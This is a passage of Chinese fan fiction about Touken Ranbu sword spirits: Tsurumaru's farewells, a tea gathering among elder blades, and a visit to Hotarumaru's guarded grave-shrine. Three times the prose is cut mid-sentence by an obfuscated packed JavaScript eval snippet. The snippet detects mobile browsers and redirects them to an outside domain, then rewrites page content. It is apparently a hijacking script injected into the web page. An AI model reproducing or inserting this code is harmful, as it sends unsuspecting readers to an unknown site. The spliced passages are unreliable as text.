“唔……先听坏消息吧。” 白鹤挑了挑眉,有些惊讶。 “这可真是吓到我了呢,我还以为贞坊会想先知道好消息什么的。” 小短刀将鬓角旁垂下的碎发捋至耳后,轻声说道。 “因为如果是先听了坏消息再听好消息的话,就算坏消息再怎么糟糕透顶,之后也还是有一个好消息会在后头,不是吗?” 鹤丸国永闻言沉默片刻后,伸手绕过后背轻搭在了太鼓钟贞宗的肩头上,就像是白鹤将有着蓝金色翎羽的小小鸟雀拢络在了宽大的羽翼下。 “嘛,突然感觉贞坊也成长了很多啊……真是吓到鹤了呢。” “我已经不是小孩子啦,鹤先生。” 所以,请告诉我吧,不用有所顾虑,就如我从未隐瞒过你们一样。 我可伊达忠宗公所使用过的刀,不要小瞧我啊。 5 “贞坊,你应该知道我们这里离前线不远,对吗?” 白鹤抬头看向遥远的西北方。 “今早我从和泉守——啊,一个喜欢在战场乱窜的刃——他说,前线西侧战场的时间溯行军似乎又有了新的动作。” 不知道想到了什么,他突然笑了一下。 “和泉守的消息可比时政灵通多了。” “那家伙……他在前线战场上,可是活跃了将近有十年呢。” 十年了还是没放下啊,那振和泉守兼定。 鹤丸国永早些年还在四处流浪的时候,就有听说过有关这振和泉守兼定的一些事情,如今遇见了传言中的正主倒也觉得有几分唏嘘。 “鹤先生是说,时间溯行军大军的先行部队有可能会来到这里吗?” “是这样没错,和泉守他所推测的时间,大概是一个星期后。” 一个星期后…… 太鼓钟贞宗思考着,紧皱起眉头。 时间太紧迫了,但他和小光最缺的就是时间。 “那好消息呢?鹤先生。” “好消息,就在三天后,时政每一月一次的……嗯,刀审领养见面会?我记得上次是叫这个名字,到时候会在万屋召开。” “万屋?” “啊,贞坊没去过万屋吗?” 小短刀摇摇头,他以前连本丸的大门都没出去过,更别说万屋了。 “万屋是时政运用空间技术开辟出来的一个虚拟空间,由时政直属管辖,那里有很多的商铺街道,甚至还有百货大厦哦!像这次的见面会就设立在时政商贸大厦的第十三层。” 太鼓钟贞宗:“……鹤先生好像很熟悉时政的样子。” 鹤丸国永闻言眨眨眼睛装作无辜的样子,让刃很想对他进行一些‘爱的关照’。 “欸,有吗?鹤不知道喔?” 硬了,拳头硬了。 “……算了,所以鹤先生是想让我和小光去参加那个……刀审领养见面会?” 白鹤:“嗯嗯!” 从名字上来看,太鼓钟贞宗也大致有了许些猜测。 “新的审神者吗……?” 6 从他们落脚的地方到交易所其实并不远,以他们的脚程也就只需半个时辰不到,但鹤丸国永看出太鼓钟贞宗似乎有意绕了远路,便也顺从了他的心意。 唔,感觉上这应该是某位老爷爷的工作才对呢。 白鹤摸了摸下巴,月下谈心和林间谈话……好像差别也不大。 不过这附近的话,他记得是…… 一阵清脆悦耳的短促鸣叫忽地响起。伴随着鸟儿振翅的扑棱声,一只圆滚滚的灰绿黄色柳莺鸟从高空缓冲降落,褐色的细爪稳稳地抓住了鹤丸国永闻声抬起的纤长手指。 “tee-ti-ti-tu-tu——” 小鸟儿也不怕生,歪着头盯着鹤丸国永就开始发出一连串不同声调的婉转啼鸣,随后又跳上了太鼓钟贞宗的肩膀。 “这小鸟是?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788726|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小短刀扭着头好奇地望着肩膀上的小鸟,倒是显露出了几分孩童的天真模样。 “是茶丸家养的小鸟哦……嗯,贞丸。” 不知何出现在林间树下的胁差少年用软绵绵的语气说道。 失算了,应该拉着贞坊走另一个方向的,结果不知不觉脚下的路就往他这三个月来的住所位置拐了。 而在这一带所居住的正是聚集地里的千年老刀们。 鹤丸国永将太鼓钟贞宗护在身后,随后开口招呼道。 “哟,髭切,你家膝丸呢?” “蛇丸吗……唔,好像是迷路了噢?” 奶白金发色的胁差眯起了漂亮的茶金色猫瞳,过长的白色军装外套下摆垂落在他的大腿间。 这振特殊的胁差髭切和短刀三日月宗近、以及一振打刀大包平来自同一个本丸,那个失格的审神者是一个看似冷静实则疯狂的刃体实验科研家。 鹤丸国永还记得当初这件事查出来后,在时政的审神者论坛里闹得还挺大,和同一时期查出来的另一个失格本丸一同骂上了时政热榜。 说来也是颇富戏剧化的讽刺巧合,这两个人渣还是叔侄女关系,倒也真是‘不是一家人,不进一家门’。 7 与此同时,远处源氏兄弟的屋子里骤然间爆发出了膝丸的尖锐爆鸣。 “阿——尼——甲——” 白鹤扶了扶额头,想起了自己为什么一大早就往外跑的原因。 “诶哆……鸟丸你有听见什么吗,我好像听到了肘丸的声音?” “……是,你弟弟又在找你了。” “阿——尼——甲——你又去哪里了——” 鹤丸国永实在是吃不消聚集地里那振膝丸左一个“阿尼甲”、右一个“阿尼甲”地满世界到处找自家兄长。 而磨短成了胁差的前太刀兄长髭切的隐蔽值似乎也得到了提高,在日常中行踪越发难以寻找的同时,爱逗弟弟的性格好像也变得更加恶趣味了起来。 啧,腹黑的恶劣白毛狮子猫。 “要是没事,鹤就走了?” “……嗯那个,白丸,茶丸说,想邀请大家一起喝下午茶。” “难得你还有记事的时候,不过莺丸的小鸟也正巧来告诉我了。” “呐,白丸。” 髭切最终还是放弃了回忆起鹤丸国永正确的名字,茶金色的眼瞳直直地盯着鹤丸国永。 “你的身上,有恶鬼的气息哦?” 舌尖舔舐过尖锐的虎牙,髭切笑道。 “需要我和弟弟帮忙去斩杀恶鬼吗,白丸?” “……鹤已经上报上去了,会有人处理好一切的。” “是吗……哎呀哎呀,真是可惜。” “下次有发现的话,可以叫上我和迷路丸哦,白丸。” “鹤知道了——以及,你弟弟应该快要找过来了。” “哦呀,那我去找弟弟了,下午茶见。” 和来时一样,如幽灵般悄无声息出现的胁差很快的就在林间失去了踪影。 “我们走吧,贞坊。” “鹤先生,那振髭切殿他……” “……那振髭切是弑主刀剑付丧神。” 鹤丸国永轻轻地叹了口气。 “他和他弟弟膝丸都是。” 8 …… 「失格审神者,编号16,代号『柯言』,已死亡。」 「失格罪行:刃体实验,恶意磨短刀剑改变其刀种……」 「幸存刀剑……」 …… 「失格审神者,编号20,代号『柯雪』,已死亡。」 「失格罪行:刃体实验,将刀剑与生物融合并改造……」 「幸存刀剑……」 …… 「已确认弑主刀剑付丧神为髭切、膝丸。」 「执行刀解回收计划」 「执行观察评估计划」 …… 「提案人:代号『天一』。」 「执行者:鹤丸国永。」 …… 「执行人员与目标刀剑均已失踪。」 「该提案已废弃。」 5. 茶会 1 沿着来时的小道,鹤丸国永和太鼓钟贞宗各怀心事的沉默同行。直到远远能看见那藏在绿荫里的小屋,太鼓钟贞宗终于下定了决心。 他转过身看向鹤丸国永,灿金眸中闪烁着阳光落入其中的细碎光彩。 “鹤先生。” “嗯?” 白鹤将遇见髭切后飘远的思绪拉回,重新落在了眼前的小短刀身上。 “鹤先生。” 他复又唤了白鹤一声,身板站直,胸前垂落的华丽宝石棱角处折射出夺目的七彩虹光。 “关于您说的那个提议,我会和小光说清楚的。” 这是一个机会……为了小光,他是不会错过的。 “明智的选择——嗯对了,这个给你和光坊。” 鹤丸国永像是突然想起了什么,从怀里掏出两枚圆滚滚的、还带着几分温热的灵力球,不容拒绝地硬塞到了太鼓钟贞宗的手里。 “鹤先生这是——” “是离别礼物啦,贞坊。” 白鹤笑道。 “鹤昨天在交易所接到了新的任务,启程时间是今晚……嘛,本来打算是下午走的,但又被莺丸他们约了茶会,这也倒算是个意外的惊吓。” 说着,他状似有些苦恼地揉揉脑袋,嘟囔着说道。 “……我可不太擅长夜战啊。” 太鼓钟贞宗握着手里不断传来丝丝暖意的灵力球,却依旧觉得手脚冰凉。 “……原来是这样啊,我知道了。” “如果贞坊和光坊要去万屋的话,去交易所的里屋左拐最里面,那里有去万屋坐标的时空转换器……还有还有,记得要提前打好申请……” “嗯,我都记下了,鹤先生。” “很可靠哦,贞坊,那光坊就拜托你了。” “……最后。” 鹤丸国永轻轻地抱了抱眼角已经发红的小短刀。 “再见,贞坊。” “相信在不久的将来,我们一定还会再次相见的。” 太鼓钟贞宗不出声,只是紧紧地抱了一下白鹤,又飞快地松开了手。 他站在鹤丸国永的身前,腰板依旧挺得笔直,像是棵雨后窜高的竹。 最终,他努力地平缓下了喉中沙哑发涩的嗓音,语气轻快地将离别的话语说出了口。 “下次再见了,鹤先生。” “祝君武运昌隆——” 鹤丸国永笑了起来,用同样轻快地语调说道。 “那鹤也祝贞坊和光坊——武运昌隆。” 白鹤总要离去,就像谁也抓不住的流风。 哪怕他和这位鹤先生相处不久,他也知道,不管是谁都留不住这只流浪于尘世间的白鹤。 两条偶然间交错的平行线,终究还是要把线再一次的延长,延长向两个未知的远方。 太鼓钟贞宗一直都知道的。 他们都是彼此漫长旅途中的过客,是岁月长河里搁浅的圆润白石,是多年往后记忆里的斑斓色彩,最后会被雨水打湿泛黄,只余稍许遗憾和几声感慨。 白鹤终要离去,莫要成了束缚它的枷锁。 望着鹤丸国永隐没于绿树林间、逐渐远去的白色身影,他如此想到。 鹤先生是不绝会喜欢这种惊吓的。 “如果那是您所希望的话……” 未成语句的低喃声碎在了风里,被清风一扬便再也了无踪迹。 2 千年老刀们的茶会,一直都是一项被聚集地里的流浪刀剑们所关注的不定时活动。 大概类似于聚集地里重大事件的风向指标。 而通常作为茶会发起者的两振刀剑——小乌丸殿和莺丸殿,也正是聚集地流浪刀剑中威望最高的两位存在。 莺丸的消息最是灵通广泛——山林里大大小小的鸟雀们都是他的耳目。 这振莺丸对于口技颇有心得,学起鸟叫声来那真是惟妙惟肖,悦耳动听。 鸟儿们循着叫声,也总爱叽叽喳喳地往他院里钻。而庭中屋旁那棵日向正宗栽下多年的青梅树,便是它们落脚歇息的好去处。 他总爱坐在茶室的廊下捧着茶杯,一边细品着清茶,一边照看着成了打刀被磨损了记忆的大包平,手边常常放着一册手工制成的墨绿色手帐。 想必不用多说也都知道,那就是几乎每振莺丸刃手一本、赫赫有名的《大包平观察日记》。 一把铁茶釜,几口白瓷杯和茶碗,竹制的茶托和茶筅。茶叶和茶入是拜托经常来往于万屋的歌仙兼定用小判换来的,都是当季的新茗。 粟田口家的平野藤四郎正是精于茶道的一把好手。温碗、过筅、投茶、点茶,一套泡茶的工艺流程下来,行云流水,得心应手。 “小乌丸殿,莺丸殿,请用茶。” “子辈用心了。” 由红绳高高束起的乌发如鸦翼展翅,竹清松瘦的「日本刀之父」小乌丸抬手接过朱色的茶碗,对跪坐在身旁的小短刀满是慈爱地颔首微笑。 廊道的尽头,白发的小短刀双手端着一盘小巧精致的梅干和果子,仿佛坠入了星辰碎屑的蔚蓝眼眸微微眯起,动作轻缓地保持着手中茶点的平稳。 跟随在日向正宗身后的打刀一头红发乱翘,像是夏日残霞下的一丛赤红野草,张牙舞爪又带着蓬勃生机。 他手上也端着一盘精心准备的点心,正是颇受小三日月亲睐的三色团子。 “日向、大包平。” 手捧着茶杯,绿莺色的流海遮挡住小半张脸。莺丸侧过头看向走来的两刃,低声唤着他们的名字,清浅的笑意浮现在莺色的眸中。 院门外一阵叮叮当当的声响由远及近,抬头望去。果不其然,收到邀请的今剑领着日常迷路的小三日月抵达了这里,和平野、日向一起,四只小短刀排排坐在廊下。 小三日月坐在莺丸身旁,平野藤四郎为他斟茶,日向正宗向他推来了茶点。 今剑侧歪过头,单手撑着脸庞,长长的银发蜿蜒散落在廊道上。瞧着幺弟捧起茶杯,对上他的赤红眼眸莞尔一笑的模样,脸上也不由地流露出了笑容。 茶庭中,蓄满清水的竹筒落下,在石上轻磕出脆响。 “砰——” “哟,各位——” 白鹤振翅而落,栖息于庭。 “鹤丸殿,许久不见,别来无恙?” “托您的福,一切照常,莺丸殿。” 鹤丸国永接过平野藤四郎递来的茶,目光轻扫过庭院里早已落座的刀剑付丧神们,有些意外地笑道。 “真少见,鹤居然不是最晚到的吗?” 话音刚落,髭切那标志性的、软绵绵的嗓音就在门口响了起来。 “哎呀呀~真是失礼啊,白丸。” 奶白金色的软发像是甜滋滋的棉花软糖,唇齿间露出的两颗尖尖虎牙为胁差增添了几分俏皮,但那一双眼尾上翘的茶金色猫瞳却凌厉而锋芒毕露。 “不过放心,我也不会因为这点小事就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788727|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩了你啦。” 髭切的话语总是轻轻飘飘,亦真亦假,让刃分不清随口说出的话语到底是威胁,又或者只是一句玩笑话。 那是一只随时都有可能失控,但又努力克制着自己的凶猛恶兽。 “我还是很宽容的,对吧,迟到丸?” “是膝丸啊,阿尼甲。” 好不容易找到自家兄长的薄绿发色的太刀青年,面带无奈地纠正着自己又被兄长喊错的名字。 他穿着和髭切同款的黑色军服,有着相同的茶金眸色,但却又有着本质上的不同。 任是谁也不会看错,毫无疑问,那是一双属于蛇类的竖直兽瞳。 “嘛,毕竟都是当了上千年的刀了……名字什么也无所谓了啦。” “阿尼甲——” “砰——” 添水满而溢,竹落,石敲。 3 品茶,谈天,议事。 小小的茶庭院落里,各种各样的讯息在刀剑付丧神们的澄澈茶里,交谈声中,悄然地交换着。 千年时光的沉淀使他们对于事情的看待更为平静而通透,心如明镜般映照出世界万物本质的道理。 远方而来的鸟儿衔来了一片红枫,飘落在莺丸的手中。 “不知不觉,已经是秋天了啊。” 小三日月望着日暮西沉的淡橙红色天空。 “太阳早早落下,夜晚逐渐漫长。” 小乌丸也阖眸低语。 “鸟儿总要离巢而去。” 这是一场并不漫长的告别,在座的诸位都心知肚明。 “呐,白丸。” 髭切依旧是笑眯眯的模样,对着鹤丸国永说道。 “夜晚看不清道路的话,我和弟弟可以陪你一起哦?” “阿尼甲……” 膝丸坐在髭切身旁,欲言又止。 “可以哟。” “欸?” 白鹤看着髭切因为听到了让刃意外的回答而睁大的猫猫眼,忍不住低笑出声。 “开玩笑的啦,哈哈哈,吓到你了吗?” 髭切:好气哦,但是还要保持微笑。 鹤丸国永站起身来,活动了一下腿脚和整理了一番衣装。 “既然己经找到了你弟弟的话,就留下来吧。” 过去的事情已经过去了,美好的新篇章如今才刚刚开始…… 不要沉浸在糟糕的回忆里呀,髭切。 “……嘛,看在昔日的交情上。” “再有下一次,就一定会斩了你哦,白丸。” “嗨、嗨~鹤不会让你有那个机会的~” 白鹤一脚踏进霞光里,像是白纸落入了水中,橙红的颜色一点一点地在纸上渲染开来。 “时间差不多了呢……嗯,去给其他地方的家伙也带来一些惊吓吧,这听起来是个不错的主意。” “鹤丸殿。” “您离开的消息,我会传回给鲶尾哥他们的。” 平野藤四郎将茶杯收好后,对于即将启程的白鹤,也只来得及说上一两句话和送上自己最衷心的祝福。 “以及,愿君此行,武运昌隆。” “……嗯。” “谢谢,鹤收到了唷。” 一段旅程的结束,也是另一段旅程的开始。 哎?你说,你想知道鹤曾经流浪旅途中所见到的故事? 哎呀哎呀,鹤以后会告诉你的。 现在嘛,嘿嘿,保密! 6. 萤火 1 一路穿行过林海,伴着夕阳与残霞,夜色笼罩大地。 月亮被高高的树梢所阻拦,只漏下几缕冷白残光。 太刀在夜晚行动还是有些过于勉强,幸好鹤丸国永对于这条道路早已熟记于心。 借着月光落在雪白羽织上反射出的柔和白光,倒也不至于完全两眼一抹黑——这可是鹤丸国永在野外流浪时,实践得出的生活小技巧。 鹤可没有吹,只要有点亮光,鹤在晚上就能够「真·白得发光」。 但这个技巧也有利有弊,太招摇的话,也很容易吸引来敌人的注意。 不过在聚集地附近,算得上是少有的安全区。 在聚集地里定居的每一振流浪刀剑付丧神,都会拼死守卫他们仅有的家园。 那种眼神啊……真令刃羡慕。 “真是的,鹤可没有家啊,这样流浪的鹤不就变成孤家寡刃的可怜鹤了吗……” 果然还是要尽快离开呢,不然鹤就要被留下来喽。 不过在走之前,还是去见一面吧。 那位庇护此地的……「神明大人」。 2 虽然已经入秋,但常常出没于夏夜里的小精灵们,依旧在草丛间雀跃舞动着——那是星星陨落到了地上,成了人间飘荡的萤火。 萤火虫们围着鹤丸国永飘飘忽忽地转了几圈,随后又向着一个方向纷纷飞去,像是许多盏忽明忽灭的小灯笼,指引着访客前往一个未知的目的地。 白鹤心下明了,那位「神明大人」已是知晓并应许了自己的不请自来。 走过青石铺就的参道,穿过朱色的鸟居。 弦月高悬夜空,月光轻柔地洒落在这座屹立于林间空地的小小神社上。 神社是后来才建成的建筑。 最早的时候,这里只立着一座墓碑。 而此时,那小小的神明正怀抱着大太刀,安安静静地坐在那块近两米高的石碑上。 “鹤丸殿——?” 稚嫩的童声,带着习惯拉长的尾音。 银发盖在军帽下,耳鬓两侧弯弯卷卷地翘起调皮的两缕,黄绿色的眼瞳里闪烁着萤火虫们明明灭灭的亮光。 毫无疑问,这是一振萤丸。 一振融合了本灵灵魂碎片的特殊萤丸。 祂庇护此地,祂驻守此方,祂让战争远离桃花之源,祂令林海成为萤火之森—— 祂,是一位孤独守墓的温柔神明。 “哟,萤丸。” 鹤丸国永眼中流露怀念的神情,声音中带着感慨。 “岁月悠悠,一晃十三年载。” 他走在月光下,是一抹纯粹的、莹莹发光的白,和萤丸记忆中的模样分毫不差。 白鹤笑意盈盈地扬声问候道。 “多年未见,近来可还安好?” 3 在过去的一些时光里,白鹤也曾有过短暂同行的旅伴。 而萤丸正是其中之一。 正太模样的大太刀从墓碑上跳下来,在成群飞舞的萤火虫的拱卫下,哒哒哒地走到鹤丸国永面前。 “鹤丸殿。” 萤丸低头看着熟练地蹲下来,微抬起头看向祂的鹤丸国永,歪了歪脑袋。 “你好像变了很多。” 祂停顿了一下,又将头歪向另一侧。 “唔,但又好像没变什么。” “是吗……呐,在鹤看来,反而是萤丸变了很多喔?” “……” 萤丸闻言不语,只是后退了两步,抱着刀又转身走回到了墓碑前。 鹤丸国永也收敛起脸上的笑意,站起来随意挥落了衣袖上的尘土,然后静静地跟在萤丸身后,望向眼前的墓碑。 墓碑简简单单,用材是随处可见的坚硬岩石。用刀削成了长条方正的样式,平滑的石碑上只简洁地雕刻了一个「来」字和两枚精致刀纹。 这是一座刀冢,也是一处阵眼。 这里,镇压着两振刀剑的残魂。 “看起来还是老样子啊,不过这个聚灵阵法……时政那边新派人来看过了?” “嗯,一个月前来过。” 萤丸平静地看着墓碑,眼底倒映出密密麻麻、繁复晦涩的阵法纹路。 “我有仔细检查过,新绘制的阵法利用了此地灵脉中自然流转的灵气,以此来净化碎刃刀身上的『侵蚀』。” “只需要再等待一段时间……国行和爱染就能够彻底回归本灵了。” 这是萤丸所能做到的,最好的结局。 为此,祂已经在此地守候十三年。 神明的寿命近乎无穷无尽,而祂最不缺乏那点耐心。 “他们有说什么条件吗?” “没有哦。” 萤火虫停歇在墓碑上,一闪一闪。 “那些人类什么都没有说。” “他们……只是用很奇怪的眼神,看着我。” 祂有些不解地询问着昔日的故友。 “他们为什么会想摸摸我的头?” 小小的神明想到这,佯装生气地鼓起了脸颊。 “会长不高的欸——” 这般幼稚的举动,倒有几分像是从前了。 4 白鹤的记性一向很好,正如他仍记得十三年前。 相逢在一个无月雨夜的刀剑们。 懒惰而不着调的明石国行。 活力满满爱笑的爱染国俊。 乖巧但大魔王属性的萤丸。 同一屋檐下,他们都狼狈不堪。 拉开这段过往序幕的,是骤然亮起的刀光和窗外的沉闷雷鸣。 「一个大惊吓!」 那时的白鹤性格更为跳脱,也更爱冒险行事。 萤丸身为大太刀在室内战虽有诸多不便,但狭窄的空间对太刀来说,限制也不算小。 两个夜战瞎子在昏暗的室内,萤丸凭借娇小灵活的体型和打击面更广的范围本就占上了上风,更不要说在他身后还有擅长夜间侦查的短刀爱染国俊。 鹤丸国永依靠经验在躲了萤丸横劈出的一刀之后,看清了形势的他便吱哇乱叫地大喊起了误会。 「停停停!鹤没有恶意!鹤只想避个雨!呜哇!」 为表示诚意,他还主动放下了下意识拔出的太刀。 一个相当危险的行为,但也成功让萤丸挥舞中的大太刀迟缓了半秒,等来了来派监护人下达收手判断的指令。 「阿萤,不是敌人。」 「收到。」 好战的大太刀有些遗憾地收回了只差几毫米便能斩落的刀,最终也只有落下的锋利刀气划破了鹤丸国永身上的羽织。 他利落地收刀归鞘,对于这场热身还没有开始,就被喊停结束的战斗似乎有些不太尽兴。 「嗯,稍微有点不满足呢。」 逃过一劫的白鹤闻言,一个激灵又跳了起来,炸开了被雨水打湿的羽毛。 「欸——」 萤丸抬手扶正了头上在战斗中歪斜了的军帽,扭头看了眼一旁浑身湿哒哒的落水鹤。 「怎么了,鹤丸殿是想等雨停了再来一战吗?」 顶着萤丸跃跃欲试的眼神,鹤丸国永脑海中的危机感雷达‘滴答滴答’地疯狂向他预警。 他火速立马双手抬起,在胸前打了一个大大的‘×’。 「唯独这种请求,恕鹤拒绝!」 这便是他们最初的相逢。 一段不长故事的寻常开端。 5 “喏,给你。” 萤丸从鹤丸国永手中接过一包款式精美的纸袋。 “这是?” 祂好奇地晃了晃纸袋,里面有小小的事物沙沙作响。 凑近一闻,有甜丝丝的好闻味道。 “是金平糖哦!鹤当初答应过给你和爱染尝尝的。” …… 「金平糖,是外形像星星一样的、甜甜的糖果喔!」 不方便行动的红发短刀窝在白鹤的怀里,绘声绘色地与同刀派的兄弟诉说着一些,他曾在过去随着队伍远征时见到过的新鲜事物。 「那时候阿萤还没有来,小判也不太够……不过我有在甜品屋门口闻到过,是很香甜可口的味道。」 爱染国俊咂巴了下嘴,又咬了一口手中酸过头了的浆果。 他被酸得五官缩成了皱巴巴的一团。 「如果有金平糖就好了……不不不,我可有着爱染明王的加护,这点酸、呜,不算什么!」 萤丸一边听爱染国俊说着,一边手底下也麻利地给早已陷入梦乡的明石国行翻了个身。 拆解下染血的绷带,换上新的草药,再重新包扎好。 这些事情从过去的生疏到如今的现在,萤丸的手法也已经变得相当的娴熟。 「鹤记得,翻过这一座山脉,在另一边就有人类的城镇,我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788728|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以帮爱染和萤丸带些金平糖回来哦~」 「哎?真的吗!」 「当然!鹤说到做到。」 …… “金平糖啊。” 扯开系在袋口的细绳,糖果特有的甜蜜气味扑鼻而来。借着萤火和月光,萤丸看清了装在纸袋里的、在爱染俊国口述中的,金平糖的模样。 小小的,五彩斑斓的颜色,像是天上的星星一样。 祂挑起一颗红色的‘星星’,放进了嘴里。 甜甜的味道,就像是熟透的莓果。 不,比那还要甜……唔,太甜了些。 祂抬起头,很认真地对鹤丸国永描述了自己此时的感受。 “金平糖,很甜,爱染会喜欢的。” 随后萤丸将纸袋重新扎好,放在了墓碑前。 衪的声音轻轻的,像是怕惊扰了什么存在。 “谢谢你,鹤丸殿。” 糖化的太快了,但幸好甜味足够持久悠长。 哪怕来晚了点,也是曾经期盼过的、幸福的味道。 6 “藤四郎们建的?” “嗯。” “他们家建房子的手艺向来很好。” …… 最早来到这片萤火森林里发现萤丸的,是一振流浪的五虎退。 这振善良腼腆的小短刀在被祂用灵力治疗唤醒后,慌慌张张地表达了谢意,然后便局促而迫切地离开了。 萤丸虽有些疑惑,但也没多想什么,低头继续观察翠绿草叶上爬动的甲虫。 短短三日后,五虎退又回来了。 这一回,他带来了一振药研藤四郎和乱藤四郎。 「拜托您……救救药研尼和乱尼……」 「这位……好心的萤丸大人……」 也许是那双金色的眼眸太过相似,哪怕融合了本灵的灵魂碎片,神性压制了刃性变得更为淡漠,但祂还是开口了。 「好。」 萤火虫随着祂的呼唤而来,祂答应了他的祈求。 最后,粟田口一家留了下来,他们在离这不远的地方发现了一条小溪和人类废弃的屋舍。 「萤丸大人……今天,药研尼和骨喰尼在战场上救下了平野和前田,太好了……又有新的家人加入了。」 白发的小短刀怀里抱着他仅剩的最后一只小老虎,怯懦的声音里带着纯粹的欢喜。 「对了……我、我有偷听到,前不久来的鲶尾尼对乱尼和厚尼说……」 卷曲的白发遮挡住右侧的金瞳,脸颊上淡淡的红晕和俏皮的小雀斑在月下看得一清二楚。 「大家、想给萤丸大人建一座神社。」 他小心翼翼地打量着祂脸上的神色,声音又弱了下去。 「这样……下雨的时候,萤丸大人也有地方可以避避雨了。」 曾经一个善意的举动,最终为祂带来了好的结果。 或许,这就是缘罢。 7 萤丸在萤火虫的环绕中,望着转身背对向月光的鹤丸国永,祂知道要到告别故友的时候了。 “你要离开了。” “嗯,前不久发现了一道不太稳定的时空裂缝,鹤初步探查过,有『侵蚀』的痕迹。” “你要去关闭它?” “Bingo——恭喜你,猜对了,但没有奖励。” “……『侵蚀』很危险,鹤丸殿。” “嘛,我知道。” “但有些事情,总要有刃去做才行啊。” “惊吓在人生中是必要的啊,如果都是能够预料到的事,心会因此死去的。” 白鹤的话落在渐起的夜风里,雪白的衣摆和树影一同在风中摇晃。 “萤丸,等一切终了,要留下来吗?” 大太刀沉默了片刻,最终走向了相反的方向。 神社殿外悬挂着的注连绳上的纸垂和流苏,连同萤丸手中刀柄尾端系着的红色绳结一起,都被这一阵倏然刮起的夜风吹卷扬起,复又缓缓落下。 “我是萤丸,阿苏神社的萤丸。” “神明的职责,我很早就知道了。” “所以,我结下的缘,自是由我来承担。” 鹤丸国永没有回头,萤丸也没有。 这是他们各自选择的道路,也是属于他们的坚守。 不过啊…… “成为了一个很称职的「神明大人」呢,萤丸。” 7.万屋 1 鹤丸国永走的那天傍晚,烛台切光忠做了一顿丰盛的晚饭。 在饭桌上,太鼓钟贞宗从太刀的口中得知了烛台切光忠在今日打理屋舍后院时,收获的一些小小惊喜。 什么在荒废的后院田地里挖到了野菜啦,还逮住了一只藏在地洞里的灰兔什么的—— 真厉害啊,不愧是小光! 饭后,烛台切光忠收拾着桌上的碗筷,用和往日里一样温和的口吻,状似无意地随口问道。 “小贞,鹤先生是回他自己的住所了吗?我们明天也上门去拜访一下吧。” 尽管早已预设过这迟早将遭遇的情况,但当他真正面对的时候,那些心底想好的说词和话语,都变得如此苍白无力。 “鹤先生……他已经离开这里了。” 他甚至不敢抬头去看此时烛台切光忠脸上的神情。 一秒,两秒,三秒。 仿佛过了一个世纪那么久,直到灶台下的烧得通红的木柴忽然炸开了一个火星,打破了这片刻的寂静。 “啊,是这样啊。” 烛台切光忠这才如梦初醒般地低喃了一句。 “他也走了……也是,留不住的。” 太刀似乎很轻易地便接受了这件事情。 “鹤先生他所做的事情,都是有意义的。” 他继续用手上的破布擦拭着灶台边角的水渍,声音放得极轻极轻,如同梦呓。 “离开了也好,只是可惜……” 我还没好好的为您做一顿饭呢……鹤先生。 2 太阳彻底落了下去,月亮躲在云里,朦朦胧胧的看不太真切,但从耳侧旁传来的、起起伏伏的虫鸣声倒是格外清晰。 太鼓钟贞宗睡不着。 他散着半长的发,捞起枕下的短刀,轻手轻脚地拉开了门再又合拢,仅留了条约两指宽的缝隙。 穿行过白日里扫去了落叶与尘土的院子,他坐在了院门口的石阶上。 虫鸣声和风声混在一起,似乎很热闹,似乎很冷清,怀中的灵力球是温暖的,握住的刀柄又是如此冰凉。 他左手撑着脸庞,回想着今天经历的一幕又一幕。 很短暂,又很漫长,说是一场梦也不为过。 那只白鹤来得突然,走得轻快。 是那样浓墨重彩地跳进他的世界里,随后又自由洒脱地与他告别后离去。 这怎么不能说是一场光怪陆离又真实无比的梦? 他梦着,他醒着,他睡不着。 思绪被夜风吹卷到很远很远的地方,乱成了一团。 他想着白日里那道远去的白色身影。 他想要伸手挽留,但脚下仿佛是生了根,只能定定地站在那里,目送白鹤的背影越走越远,直至消失在那片茵茵绿海,再也看不见。 「如果那是您所希望的话……」 太鼓钟贞宗在那一刻,前所未有的清醒。 蓝金色渐变的华丽羽毛被狂风压下,身为短刀本就突出的高机动,让他就像是一只飞跃在林间的鸟雀。 「要去万屋?这是申请表,填一下个刃信息就行。」 「谢谢。」 他拿起笔,笔尖在纸面上停顿了片刻后,便不再犹豫地在纸上写下了自己的名字。 如果这一切都是您所希望的…… 我相信您。 他从未后悔过,无论过去,无论将来。 只是,他有一点想鹤先生了。 太鼓钟贞宗望着从云后露出来的弦月,月光落在院子里,四周的虫鸣声似乎也变小了很多。 他站起来,走回了屋里,和他来时一样安静。 不早了,他该睡了。 3 第二天一早,太鼓钟贞宗独自一刃去了一趟万屋。 从时空转换器处出来后,做好了登记,便可以在万屋里自由活动了。 